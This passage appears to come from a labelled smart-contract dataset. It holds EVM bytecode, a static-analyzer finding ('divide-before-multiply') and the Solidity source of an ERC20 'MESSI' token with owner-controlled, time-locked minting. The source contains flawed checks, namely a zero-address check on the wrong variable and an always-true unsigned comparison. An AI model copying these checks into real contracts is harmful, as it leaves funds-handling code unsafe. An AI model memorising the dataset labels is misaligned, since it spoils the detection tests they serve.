d57610100808354040283529160200191610bb8565b820191906000526020600020905b815481529060010190602001808311610b9b57829003601f168201915b505050505081565b600080600080610bde610bd786600a60ff1661180c565b6064611847565b9250610bea8584611862565b9150610bf58261187b565b9050809350505050919050565b6000600654905090565b6000806000806006548511151515610c2357600080fd5b610c2c85611922565b9250610c46610c3f84600a60ff1661180c565b6064611847565b9150610c528383611862565b9050809350505050919050565b601281565b60008060008060006006541415610c8857633b9aca006402540be400039350610cc5565b610c99670de0b6b3a7640000611922565b9250610cb3610cac84600a60ff1661180c565b6064611847565b9150610cbf8383611862565b90508093505b50505090565b60025481565b60008033905082610cea57610ce581610a80565b610d35565b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d3382610a80565b015b915050919050565b60003073ffffffffffffffffffffffffffffffffffffffff1631905090565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60096020528060005260406000206000915054906101000a900460ff1681565b60008060008060006006541415610de957633b9aca006402540be400019350610e26565b610dfa670de0b6b3a7640000611922565b9250610e14610e0d84600a60ff1661180c565b6064611847565b9150610e208383611904565b90508093505b50505090565b600080339050610e3b81610d5c565b91505090565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ed75780601f10610eac57610100808354040283529160200191610ed7565b820191906000526020600020905b815481529060010190602001808311610eba57829003601f168201915b505050505081565b600080600080610eef6001610cd1565b111515610efb57600080fd5b339250610f086000610cd1565b9150610f1382610bc0565b9050680100000000000000008202600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054820191506000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f1935050505015801561103c573d6000803e3d6000fd5b508273ffffffffffffffffffffffffffffffffffffffff167f2c0790d4cb2a4cd6281eeb9a251fcfb577eacacbf422f94ff8a2888b924b167b8383876040518084815260200183815260200182151515158152602001935050505060405180910390a250505050565b6000806000806000806110b6610e2c565b1115156110c257600080fd5b339350600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054861115151561111357600080fd5b600061111f6001610cd1565b11156111305761112f6001610edf565b5b61114861114187600160ff1661180c565b6064611847565b92506111548684611862565b915061115f83611922565b905061116d60065484611862565b6006819055506111bc600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205487611862565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611248600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611904565b600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508560075402600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508160075402600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555061135160075460065468010000000000000000840281151561134b57fe5b04611904565b6007819055508673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600194505050505092915050565b60008060008060008060006113dd610e2c565b1115156113e957600080fd5b339550600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054871115151561143a57600080fd5b86945061144685611922565b935061146061145985600a60ff1661180c565b6064611847565b925061146c8484611862565b915061147a60065486611862565b6006819055506114c9600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205486611862565b600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550680100000000000000008202856007540201905080600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550600060065411156115a35761159c60075460065468010000000000000000860281151561159657fe5b04611904565b6007819055505b8573ffffffffffffffffffffffffffffffffffffffff167f8d3a0130073dbd54ab6ac632c05946df540553d3b514c9f8165b4ab7f2b1805e8684426115e6610dc5565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390a250505050505050565b600080339150600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600081111561167457611673816113ca565b5b61167e6000610edf565b5050565b600061169034836000610685565b50919050565b6000806000806116a66001610cd1565b1115156116b257600080fd5b6116bc6000610cd1565b9250339150680100000000000000008302600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054830192506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117af8360006001610685565b90508173ffffffffffffffffffffffffffffffffffffffff167fbe339fc14b041c2b0e0f3dd2cd325d0c3668b78378001e53160eab36153264588483604051808381526020018281526020019250505060405180910390a2505050565b60008060008414156118215760009150611840565b828402905082848281151561183257fe5b0414151561183c57fe5b8091505b5092915050565b600080828481151561185557fe5b0490508091505092915050565b600082821115151561187057fe5b818303905092915050565b6000806000670de0b6b3a76400006402540be400029150600654633b9aca006118ed6118e760065486633b9aca00600202020260026006540a6002633b9aca000a02670de0b6b3a76400008a02670de0b6b3a7640000633b9aca0002600202026002890a0101016119ca565b85611862565b8115156118f657fe5b040390508092505050919050565b600080828401905083811015151561191857fe5b8091505092915050565b600080600080670de0b6b3a764000085019250670de0b6b3a7640000600654019150670de0b6b3a76400006119b3670de0b6b3a76400008503633b9aca00670de0b6b3a76400008681151561197357fe5b04633b9aca00026402540be4000103026002670de0b6b3a7640000876002890a0381151561199d57fe5b04633b9aca00028115156119ad57fe5b04611862565b8115156119bc57fe5b049050809350505050919050565b6000806002600184018115156119dc57fe5b0490508291505b81811015611a0f5780915060028182858115156119fc57fe5b0401811515611a0757fe5b0490506119e3565b509190505600a165627a7a7230582022f0f666174c0d14c76daa7983a2ec80d9d3d1cc01a3fe6926e30ac69782b69d0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 2,401 |
0x1e2d6ca17730e657f6ef0446126d5ae2869ee8d9
|
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract MESSIToken is ERC20 {
using SafeMath for uint256;
// the controller of minting
address public messiDev = 0xFf80AF92f137e708b6A20DcFc1af87e8627313B8;
// the controller of approving of minting and withdraw tokens
address public messiCommunity = 0xC2fe05066985385aa49B85697ff5847F43F26B7A;
struct TokensWithLock {
uint256 value;
uint256 blockNumber;
}
// Balances for each account
mapping(address => uint256) balances;
// Tokens with time lock
// Only when the tokens' blockNumber is less than current block number,
// can the tokens be minted to the owner
mapping(address => TokensWithLock) lockTokens;
// Owner of account approves the transfer of an amount to another account
mapping(address => mapping (address => uint256)) allowed;
// Token Info
string public name = "MESSI";
string public symbol = "MESSI";
uint8 public decimals = 18;
// Token Cap
uint256 public totalSupplyCap = 7 * 10**8 * 10**uint256(decimals);
// True if mintingFinished
bool public mintingFinished = false;
// The block number when deploy
uint256 public deployBlockNumber = getCurrentBlockNumber();
// The min threshold of lock time
uint256 public constant TIMETHRESHOLD = 7;
// The lock time of minted tokens
uint256 public durationOfLock = 7;
// True if transfers are allowed
bool public transferable = false;
// True if the transferable can be change
bool public canSetTransferable = true;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier only(address _address) {
require(msg.sender == _address);
_;
}
modifier nonZeroAddress(address _address) {
require(_address != address(0));
_;
}
modifier canTransfer() {
require(transferable == true);
_;
}
event SetDurationOfLock(address indexed _caller);
event ApproveMintTokens(address indexed _owner, uint256 _amount);
event WithdrawMintTokens(address indexed _owner, uint256 _amount);
event MintTokens(address indexed _owner, uint256 _amount);
event BurnTokens(address indexed _owner, uint256 _amount);
event MintFinished(address indexed _caller);
event SetTransferable(address indexed _address, bool _transferable);
event SetmessiDevAddress(address indexed _old, address indexed _new);
event SetmessiCommunityAddress(address indexed _old, address indexed _new);
event DisableSetTransferable(address indexed _address, bool _canSetTransferable);
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) canTransfer public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) canTransfer public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
// Allow `_spender` to withdraw from your account, multiple times.
function approve(address _spender, uint _value) public returns (bool success) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) {
revert();
}
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Enables token holders to transfer their tokens freely if true
* @param _transferable True if transfers are allowed
*/
function setTransferable(bool _transferable) only(messiDev) public {
require(canSetTransferable == true);
transferable = _transferable;
SetTransferable(msg.sender, _transferable);
}
/**
* @dev disable the canSetTransferable
*/
function disableSetTransferable() only(messiDev) public {
transferable = true;
canSetTransferable = false;
DisableSetTransferable(msg.sender, false);
}
/**
* @dev Set the messiDev
* @param _messiDev The new messi dev address
*/
function setmessiDevAddress(address _messiDev) only(messiDev) nonZeroAddress(messiDev) public {
messiDev = _messiDev;
SetmessiDevAddress(msg.sender, _messiDev);
}
/**
* @dev Set the messiCommunity
* @param _messiCommunity The new messi community address
*/
function setmessiCommunityAddress(address _messiCommunity) only(messiCommunity) nonZeroAddress(_messiCommunity) public {
messiCommunity = _messiCommunity;
SetmessiCommunityAddress(msg.sender, _messiCommunity);
}
/**
* @dev Set the duration of lock of tokens approved of minting
* @param _durationOfLock the new duration of lock
*/
function setDurationOfLock(uint256 _durationOfLock) canMint only(messiCommunity) public {
require(_durationOfLock >= TIMETHRESHOLD);
durationOfLock = _durationOfLock;
SetDurationOfLock(msg.sender);
}
/**
* @dev Get the quantity of locked tokens
* @param _owner The address of locked tokens
* @return the quantity and the lock time of locked tokens
*/
function getLockTokens(address _owner) nonZeroAddress(_owner) view public returns (uint256 value, uint256 blockNumber) {
return (lockTokens[_owner].value, lockTokens[_owner].blockNumber);
}
/**
* @dev Approve of minting `_amount` tokens that are assigned to `_owner`
* @param _owner The address that will be assigned the new tokens
* @param _amount The quantity of tokens approved of mintting
* @return True if the tokens are approved of mintting correctly
*/
function approveMintTokens(address _owner, uint256 _amount) nonZeroAddress(_owner) canMint only(messiCommunity) public returns (bool) {
require(_amount > 0);
uint256 previousLockTokens = lockTokens[_owner].value;
require(previousLockTokens + _amount >= previousLockTokens);
uint256 curTotalSupply = totalSupply;
require(curTotalSupply + _amount >= curTotalSupply); // Check for overflow
require(curTotalSupply + _amount <= totalSupplyCap); // Check for overflow of total supply cap
uint256 previousBalanceTo = balanceOf(_owner);
require(previousBalanceTo + _amount >= previousBalanceTo); // Check for overflow
lockTokens[_owner].value = previousLockTokens.add(_amount);
uint256 curBlockNumber = getCurrentBlockNumber();
lockTokens[_owner].blockNumber = curBlockNumber.add(durationOfLock);
ApproveMintTokens(_owner, _amount);
return true;
}
/**
* @dev Withdraw approval of minting `_amount` tokens that are assigned to `_owner`
* @param _owner The address that will be withdrawn the tokens
* @param _amount The quantity of tokens withdrawn approval of mintting
* @return True if the tokens are withdrawn correctly
*/
function withdrawMintTokens(address _owner, uint256 _amount) nonZeroAddress(_owner) canMint only(messiCommunity) public returns (bool) {
require(_amount > 0);
uint256 previousLockTokens = lockTokens[_owner].value;
require(previousLockTokens - _amount >= 0);
lockTokens[_owner].value = previousLockTokens.sub(_amount);
if (previousLockTokens - _amount == 0) {
lockTokens[_owner].blockNumber = 0;
}
WithdrawMintTokens(_owner, _amount);
return true;
}
/**
* @dev Mints `_amount` tokens that are assigned to `_owner`
* @param _owner The address that will be assigned the new tokens
* @return True if the tokens are minted correctly
*/
function mintTokens(address _owner) canMint only(messiDev) nonZeroAddress(_owner) public returns (bool) {
require(lockTokens[_owner].blockNumber <= getCurrentBlockNumber());
uint256 _amount = lockTokens[_owner].value;
uint256 curTotalSupply = totalSupply;
require(curTotalSupply + _amount >= curTotalSupply); // Check for overflow
require(curTotalSupply + _amount <= totalSupplyCap); // Check for overflow of total supply cap
uint256 previousBalanceTo = balanceOf(_owner);
require(previousBalanceTo + _amount >= previousBalanceTo); // Check for overflow
totalSupply = curTotalSupply.add(_amount);
balances[_owner] = previousBalanceTo.add(_amount);
lockTokens[_owner].value = 0;
lockTokens[_owner].blockNumber = 0;
MintTokens(_owner, _amount);
Transfer(0, _owner, _amount);
return true;
}
/**
* @dev Transfer tokens to multiple addresses
* @param _addresses The addresses that will receieve tokens
* @param _amounts The quantity of tokens that will be transferred
* @return True if the tokens are transferred correctly
*/
function transferForMultiAddresses(address[] _addresses, uint256[] _amounts) canTransfer public returns (bool) {
for (uint256 i = 0; i < _addresses.length; i++) {
require(_addresses[i] != address(0));
require(_amounts[i] <= balances[msg.sender]);
require(_amounts[i] > 0);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_amounts[i]);
balances[_addresses[i]] = balances[_addresses[i]].add(_amounts[i]);
Transfer(msg.sender, _addresses[i], _amounts[i]);
}
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() only(messiDev) canMint public returns (bool) {
mintingFinished = true;
MintFinished(msg.sender);
return true;
}
function getCurrentBlockNumber() private view returns (uint256) {
return block.number;
}
function () public payable {
revert();
}
}
|
0x606060405260043610610175576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063027ec8481461017a57806305d2035b1461019d57806306fdde03146101ca578063095ea7b3146102585780630bab7ff6146102b257806312dc34a01461030757806318160ddd1461031c5780631fab026514610345578063204009d21461039a578063206288d31461044c578063234e5f161461047557806323b872dd1461049e578063269f466314610517578063313ce567146105715780634da1397c146105a05780635765cc2a146105c957806370a08231146106025780637d64bcb41461064f57806392ff0d311461067c57806395d89b41146106a95780639b98a94b146107375780639cd237071461078b578063a5a8c53d146107b0578063a9059cbb146107e9578063b5bb5ee414610843578063bb102aea1461089d578063bcfaa79d146108c6578063dca6058c14610917578063dd62ed3e14610944575b600080fd5b341561018557600080fd5b61019b60048080359060200190919050506109b0565b005b34156101a857600080fd5b6101b0610a87565b604051808215151515815260200191505060405180910390f35b34156101d557600080fd5b6101dd610a9a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561021d578082015181840152602081019050610202565b50505050905090810190601f16801561024a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561026357600080fd5b610298600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b38565b604051808215151515815260200191505060405180910390f35b34156102bd57600080fd5b6102c5610cc1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561031257600080fd5b61031a610ce7565b005b341561032757600080fd5b61032f610dd0565b6040518082815260200191505060405180910390f35b341561035057600080fd5b610358610dd6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103a557600080fd5b61043260048080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091905050610dfc565b604051808215151515815260200191505060405180910390f35b341561045757600080fd5b61045f61113e565b6040518082815260200191505060405180910390f35b341561048057600080fd5b610488611144565b6040518082815260200191505060405180910390f35b34156104a957600080fd5b6104fd600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611149565b604051808215151515815260200191505060405180910390f35b341561052257600080fd5b610557600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061152b565b604051808215151515815260200191505060405180910390f35b341561057c57600080fd5b6105846117af565b604051808260ff1660ff16815260200191505060405180910390f35b34156105ab57600080fd5b6105b36117c2565b6040518082815260200191505060405180910390f35b34156105d457600080fd5b610600600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506117c8565b005b341561060d57600080fd5b610639600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611924565b6040518082815260200191505060405180910390f35b341561065a57600080fd5b61066261196d565b604051808215151515815260200191505060405180910390f35b341561068757600080fd5b61068f611a4e565b604051808215151515815260200191505060405180910390f35b34156106b457600080fd5b6106bc611a61565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106fc5780820151818401526020810190506106e1565b50505050905090810190601f1680156107295780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561074257600080fd5b61076e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611aff565b604051808381526020018281526020019250505060405180910390f35b341561079657600080fd5b6107ae60048080351515906020019091905050611bcf565b005b34156107bb57600080fd5b6107e7600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611cbe565b005b34156107f457600080fd5b610829600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611df8565b604051808215151515815260200191505060405180910390f35b341561084e57600080fd5b610883600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061203f565b604051808215151515815260200191505060405180910390f35b34156108a857600080fd5b6108b0612266565b6040518082815260200191505060405180910390f35b34156108d157600080fd5b6108fd600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061226c565b604051808215151515815260200191505060405180910390f35b341561092257600080fd5b61092a6125b5565b604051808215151515815260200191505060405180910390f35b341561094f57600080fd5b61099a600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506125c8565b6040518082815260200191505060405180910390f35b600a60009054906101000a900460ff161515156109cc57600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a2957600080fd5b60078210151515610a3957600080fd5b81600c819055503373ffffffffffffffffffffffffffffffffffffffff167f0396975844671389fa17a3a7695b8bd9f31c23d3d058f0706b1b75319dfd744260405160405180910390a25050565b600a60009054906101000a900460ff1681565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b305780601f10610b0557610100808354040283529160200191610b30565b820191906000526020600020905b815481529060010190602001808311610b1357829003601f168201915b505050505081565b6000808214158015610bc757506000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b15610bd157600080fd5b81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d4457600080fd5b6001600d60006101000a81548160ff0219169083151502179055506000600d60016101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff167fa587cd36fc5173263bcfc28c8fa5b785fb89e0c74ac952d6a3554aa83b5012146000604051808215151515815260200191505060405180910390a250565b60005481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060011515600d60009054906101000a900460ff161515141515610e2157600080fd5b600090505b835181101561113357600073ffffffffffffffffffffffffffffffffffffffff168482815181101515610e5557fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1614151515610e8257600080fd5b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548382815181101515610ed057fe5b9060200190602002015111151515610ee757600080fd5b60008382815181101515610ef757fe5b90602001906020020151111515610f0d57600080fd5b610f768382815181101515610f1e57fe5b90602001906020020151600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461264f90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110398382815181101515610fca57fe5b90602001906020020151600360008785815181101515610fe657fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461266890919063ffffffff16565b60036000868481518110151561104b57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555083818151811015156110a157fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef858481518110151561110757fe5b906020019060200201516040518082815260200191505060405180910390a38080600101915050610e26565b600191505092915050565b600b5481565b600781565b600060011515600d60009054906101000a900460ff16151514151561116d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156111a957600080fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156111f757600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561128257600080fd5b6112d482600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461264f90919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061136982600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461266890919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061143b82600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461264f90919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080600080600086600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561157057600080fd5b600a60009054906101000a900460ff1615151561158c57600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156115e957600080fd5b6000881115156115f857600080fd5b600460008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001549550858887011015151561164e57600080fd5b6000549450848886011015151561166457600080fd5b6009548886011115151561167757600080fd5b61168089611924565b9350838885011015151561169357600080fd5b6116a6888761266890919063ffffffff16565b600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055506116f4612686565b925061170b600c548461266890919063ffffffff16565b600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055508873ffffffffffffffffffffffffffffffffffffffff167ff409fb63c43f80749c0457905d6ca20dea860144ecf394abef251fbc6dd4eb51896040518082815260200191505060405180910390a26001965050505050505092915050565b600860009054906101000a900460ff1681565b600c5481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561182557600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561188457600080fd5b82600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f0ef6caa0b9116b2d1ed607e587abaee9f4327d7f976ffdd216d574acfbd3841760405160405180910390a3505050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119cc57600080fd5b600a60009054906101000a900460ff161515156119e857600080fd5b6001600a60006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff167f39b5ca6d4234a87b875f701a848e24d718e9f824d12099eec3c01762383b04ee60405160405180910390a2600191505090565b600d60009054906101000a900460ff1681565b60078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611af75780601f10611acc57610100808354040283529160200191611af7565b820191906000526020600020905b815481529060010190602001808311611ada57829003601f168201915b505050505081565b60008082600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611b3f57600080fd5b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101549250925050915091565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c2c57600080fd5b60011515600d60019054906101000a900460ff161515141515611c4e57600080fd5b81600d60006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff167f166d463a272e44b1c12f674f66ba19df53561af84c4a617a0011e78db3d5c22183604051808215151515815260200191505060405180910390a25050565b600260009054906101000a900473fffffffffffff